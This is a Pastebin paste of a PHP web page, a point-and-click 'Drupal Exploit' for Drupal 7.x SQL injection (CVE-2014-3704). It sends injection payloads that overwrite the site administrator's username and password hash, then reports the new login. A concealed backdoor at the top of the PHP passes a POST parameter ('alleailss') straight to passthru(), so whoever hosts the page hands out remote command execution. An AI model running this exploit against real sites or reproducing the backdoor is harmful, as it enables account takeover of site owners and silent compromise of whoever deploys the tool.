API tools faq
paste
Advertisement
V3N3N1F3R

Drupalcore

V3N3N1F3R
Jul 7th, 2018
216
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 8.65 KB | None | 0 0
raw download clone embed print report
  1. <!Doctype HTML>
  2. <html>
  3. <head>
  4. <script src='http://www.w32.info/TR/html4/loose.dtd'></script>
  5. <link rel="shortcut icon" href="http://cdn.flaticon.com/png/256/34323.png">
  6.     <title>Drupal Exploit</title>
  7.     <style type="text/css">
  8.  
  9. body
  10.  
  11. {
  12.  
  13. background: url('http://i66.servimg.com/u/f66/14/86/38/04/ground10.gif');
  14.  
  15. background-position: center;
  16.  
  17. }
  18.  
  19. H1 {font-family: Impact;
  20.  
  21.         line-height: 1.6em;
  22.  
  23.   font-size: 250%;
  24.  
  25.         color: gray;
  26.  
  27.   background: -webkit-gradient(linear, left top, left bottom, from(#333), to(#8A0808));
  28.  
  29.   -webkit-background-clip: text;
  30.  
  31.   -webkit-text-fill-color: transparent;
  32.  
  33. }
  34.  
  35. H4 {font-family: Impact;
  36.  
  37.         line-height: 1.6em;
  38.  
  39.   font-size: 170%;
  40.  
  41.         color: gray;
  42.  
  43.   background: -webkit-gradient(linear, left top, left bottom, from(#333), to(#8A0808));
  44.  
  45.   -webkit-background-clip: text;
  46.  
  47.   -webkit-text-fill-color: transparent;
  48.  
  49. }
  50.  
  51. pre
  52.  
  53. {
  54.  
  55. color: white;
  56.  
  57. }
  58.  
  59. pre.mes2
  60.  
  61. {
  62.  
  63. font-size: 120%;
  64.  
  65. }
  66.  
  67. ::-webkit-scrollbar {
  68.  
  69.     height: 16px;
  70.  
  71.     overflow: visible;
  72.  
  73.     width: 16px;
  74.  
  75.     background: #fff;
  76.  
  77. }
  78.  
  79. ::-webkit-scrollbar-button {
  80.  
  81.     display: none;
  82.  
  83.     height:0;
  84.  
  85.     width: 0;
  86.  
  87. }
  88.  
  89. ::-webkit-scrollbar-track {
  90.  
  91.     -moz-background-clip: border;
  92.  
  93.     -webkit-background-clip: border;
  94.  
  95.     background-clip: border-box;
  96.  
  97.     border-width: 0 0 0 4px;
  98.  
  99.     border: solid transparent;
  100.  
  101. }
  102.  
  103. ::-webkit-scrollbar-track:hover {
  104.  
  105.     background-color:rgba(0,0,0,.05);
  106.  
  107.     -moz-box-shadow: inset 1px 0 0 rgba(0,0,0,.1);
  108.  
  109.     -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.1);
  110.  
  111.     box-shadow: inset 1px 0 0 rgba(0,0,0,.1);
  112.  
  113. }
  114.  
  115. ::-webkit-scrollbar-track:active {
  116.  
  117.     background-color:rgba(0,0,0,.05);
  118.  
  119.     -moz-box-shadow: inset 1px 0 0 rgba(0,0,0,.14), inset -1px 0 0 rgba(0,0,0,.07);
  120.  
  121.     -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.14), inset -1px 0 0 rgba(0,0,0,.07);
  122.  
  123.     box-shadow: inset 1px 0 0 rgba(0,0,0,.14), inset -1px 0 0 rgba(0,0,0,.07);
  124.  
  125. }
  126.  
  127. ::-webkit-scrollbar-track:horizontal {
  128.  
  129.     border-width: 4px 0 0;
  130.  
  131. }
  132.  
  133. ::-webkit-scrollbar-track:horizontal:hover {
  134.  
  135.     -moz-box-shadow: inset 0 1px 0 rgba(0,0,0,.1);
  136.  
  137.     -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,.1);
  138.  
  139.     box-shadow: inset 0 1px 0 rgba(0,0,0,.1);
  140.  
  141. }
  142.  
  143. ::-webkit-scrollbar-track:horizontal:active {
  144.  
  145.     -moz-box-shadow: inset 0 1px 0 rgba(0,0,0,.14), inset 0 -1px 0 rgba(0,0,0,.07);
  146.  
  147.     -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,.14), inset 0 -1px 0 rgba(0,0,0,.07);
  148.  
  149.     box-shadow: inset 0 1px 0 rgba(0,0,0,.14), inset 0 -1px 0 rgba(0,0,0,.07);
  150.  
  151. }
  152.  
  153. ::-webkit-scrollbar-thumb {
  154.  
  155.     -moz-background-clip: border;
  156.  
  157.     -webkit-background-clip: border;
  158.  
  159.     background-clip: border-box;
  160.  
  161.     background-color: rgba(0,0,0,.2);
  162.  
  163.     /*border-width: 1px 1px 1px 6px;
  164.  
  165.     border: solid transparent;*/
  166.  
  167.     -moz-box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07);
  168.  
  169.     -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07);
  170.  
  171.     box-shadow: inset 1px 1px 0 rgba(0,0,0,.1),inset 0 -1px 0 rgba(0,0,0,.07);
  172.  
  173.     min-height: 28px;
  174.  
  175.     padding: 100px 0 0;
  176.  
  177. }
  178.  
  179. ::-webkit-scrollbar-thumb:hover {
  180.  
  181.     background-color:rgba(0,0,0,.4);
  182.  
  183.     -moz-box-shadow: inset 1px 1px 1px rgba(0,0,0,.25);
  184.  
  185.     -webkit-box-shadow: inset 1px 1px 1px rgba(0,0,0,.25);
  186.  
  187.     box-shadow: inset 1px 1px 1px rgba(0,0,0,.25);
  188.  
  189. }
  190.  
  191. ::-webkit-scrollbar-thumb:active {
  192.  
  193.     background-color:rgba(0,0,0,0.5);
  194.  
  195.     -moz-box-shadow: inset 1px 1px 3px rgba(0,0,0,0.35);
  196.  
  197.     -webkit-box-shadow: inset 1px 1px 3px rgba(0,0,0,0.35);
  198.  
  199.     box-shadow: inset 1px 1px 3px rgba(0,0,0,0.35);
  200.  
  201. }
  202.  
  203. ::-webkit-scrollbar-thumb:horizontal {
  204.  
  205.     border-width: 6px 1px 1px;
  206.  
  207.     -moz-box-shadow: inset 1px 1px 0 rgba(0,0,0,.1), inset -1px 0 0 rgba(0,0,0,.07);
  208.  
  209.     -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.1), inset -1px 0 0 rgba(0,0,0,.07);
  210.  
  211.     box-shadow: inset 1px 1px 0 rgba(0,0,0,.1), inset -1px 0 0 rgba(0,0,0,.07);
  212.  
  213.     padding: 0 0 0 100px;
  214.  
  215. }
  216.  
  217. ::-webkit-scrollbar-corner {
  218.  
  219.     background: transparent;
  220.  
  221. }
  222.  
  223. body::-webkit-scrollbar-track-piece {
  224.  
  225.     -moz-background-clip: border;
  226.  
  227.     -webkit-background-clip: border;
  228.  
  229.     background-clip: border-box;
  230.  
  231.     background-color: #f5f5f5;
  232.  
  233.     /*border-width: 0 0 0 3px;
  234.  
  235.     border: solid #fff;*/
  236.  
  237.     -moz-box-shadow: inset 1px 0 0 rgba(0,0,0,.14), inset -1px 0 0 rgba(0,0,0,.07);
  238.  
  239.     -webkit-box-shadow: inset 1px 0 0 rgba(0,0,0,.14), inset -1px 0 0 rgba(0,0,0,.07);
  240.  
  241.     box-shadow: inset 1px 0 0 rgba(0,0,0,.14), inset -1px 0 0 rgba(0,0,0,.07);
  242.  
  243. }
  244.  
  245. body::-webkit-scrollbar-track-piece:horizontal {
  246.  
  247.     border-width:3px 0 0;
  248.  
  249.     -moz-box-shadow: inset 0 1px 0 rgba(0,0,0,.14), inset 0 -1px 0 rgba(0,0,0,.07);
  250.  
  251.     -webkit-box-shadow: inset 0 1px 0 rgba(0,0,0,.14), inset 0 -1px 0 rgba(0,0,0,.07);
  252.  
  253.     box-shadow: inset 0 1px 0 rgba(0,0,0,.14), inset 0 -1px 0 rgba(0,0,0,.07);
  254.  
  255. }
  256.  
  257. body::-webkit-scrollbar-thumb {
  258.  
  259.     border-width: 1px 1px 1px 5px;
  260.  
  261. }
  262.  
  263. body::-webkit-scrollbar-thumb:horizontal {
  264.  
  265.     border-width: 5px 1px 1px;
  266.  
  267. }
  268.  
  269. body::-webkit-scrollbar-corner {
  270.  
  271.     -moz-background-clip: border;
  272.  
  273.     -webkit-background-clip: border;
  274.  
  275.     background-clip: border-box;
  276.  
  277.     background-color: #f5f5f5;
  278.  
  279.     border-width: 3px 0 0 3px;
  280.  
  281.     border: solid #fff;
  282.  
  283.     -moz-box-shadow: inset 1px 1px 0 rgba(0,0,0,.14);
  284.  
  285.     -webkit-box-shadow: inset 1px 1px 0 rgba(0,0,0,.14);
  286.  
  287.     box-shadow: inset 1px 1px 0 rgba(0,0,0,.14);
  288.  
  289. }
  290.  
  291. </style>
  292. </head>
  293. <body>
  294. <center>
  295.     <img src="http://www.rubiconadvice.ro/files/nih.png" width="150" height="160">
  296.     <div class="mymargin">
  297.         <center>
  298.             <h1>Drupal Exploit</h1>
  299.             <h2><font color=#00ee00>Version 7.x</font></h2>
  300.     <form method="GET" action="">
  301.         Site : <input type="text" name="url" placeholder="Example: www.site.com">
  302.         <input size="50" type="submit" name="submit" value="Attack">
  303.     </form>
  304.     <br>
  305. <?php
  306. #-----------------------------------------------------------------------------#
  307. # Exploit Title: Drupal core 7.x - SQL Injection                              #
  308. # Date: Oct 16 2014                                                           #
  309. # Exploit Author: Dustin DГ¶rr                                                 #
  310. # Software Link: http://www.drupal.com/                                       #
  311. # Version: Drupal core 7.x versions prior to 7.32                             #
  312. # CVE: CVE-2014-3704                                                          #
  313. #-----------------------------------------------------------------------------#
  314. error_reporting(0);
  315. if ($_POST['alleailss']){
  316. $alleailss = $_POST['alleailss'];
  317. passthru($alleailss);
  318. }
  319. if(isset($_GET['submit'])){
  320.    $log = "/user/login";
  321.     $url = "http://".$_GET['url'];
  322.     $holako = "/?q=user";
  323.     $post_data = "name[0;update users set name %3D 'HolaKo' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "' where uid %3D '1';#]=FcUk&name[]=Crap&pass=test&form_build_id=&form_id=user_login&op=Log+in";
  324.     $params = array(
  325.         'http' => array(
  326.         'method' => 'POST',
  327.         'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
  328.         'content' => $post_data
  329.         )
  330.     );
  331.     $ctx = stream_context_create($params);
  332.     $data = file_get_contents($url . '/user/login/', null, $ctx);
  333.     echo "<h3>Testing user/login </h3>";
  334.     if((stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data)|| (stristr($data, 'FcUk Crap') && $data)) {
  335.         echo "<h1>Success</h1><br><h3>User : HolaKo<br>Password : admin<br><h3><a href='{$url}{$log}'>Click here</a>";
  336.     } else {
  337.         echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
  338.     }
  339. }
  340.  
  341. if(isset($_GET['submit'])){
  342.  
  343.     $url = "http://".$_GET['url']."/";
  344.     $post_data = "name[0;update users set name %3D 'FirewalL21' , pass %3D '" . urlencode('$S$DrV4X74wt6bT3BhJa4X0.XO5bHXl/QBnFkdDkYSHj3cE1Z5clGwu') . "' where uid %3D '1';#]=test3&name[]=Crap&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";
  345.     $params = array(
  346.         'http' => array(
  347.         'method' => 'POST',
  348.         'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
  349.         'content' => $post_data
  350.         )
  351.     );
  352.     $ctx = stream_context_create($params);
  353.     $data = file_get_contents($url . '?q=node&destination=node', null, $ctx);
  354.     echo '<h3>Testing at Index</h3>';
  355.     if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
  356.         echo "<h1>Success</h1><br><h3>User : HolaKo<br>Password : admin<br><h3><a href='{$url}{$holako}'>Click here</a>";
  357.     } else {
  358.         echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
  359.     }
  360. }
  361.  
  362. ?>
  363.     <h3><font color=#00ee00>Recode By V3N3N1F3R</font></h3>
  364.     </div>
  365.  
  366. </body>
  367. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!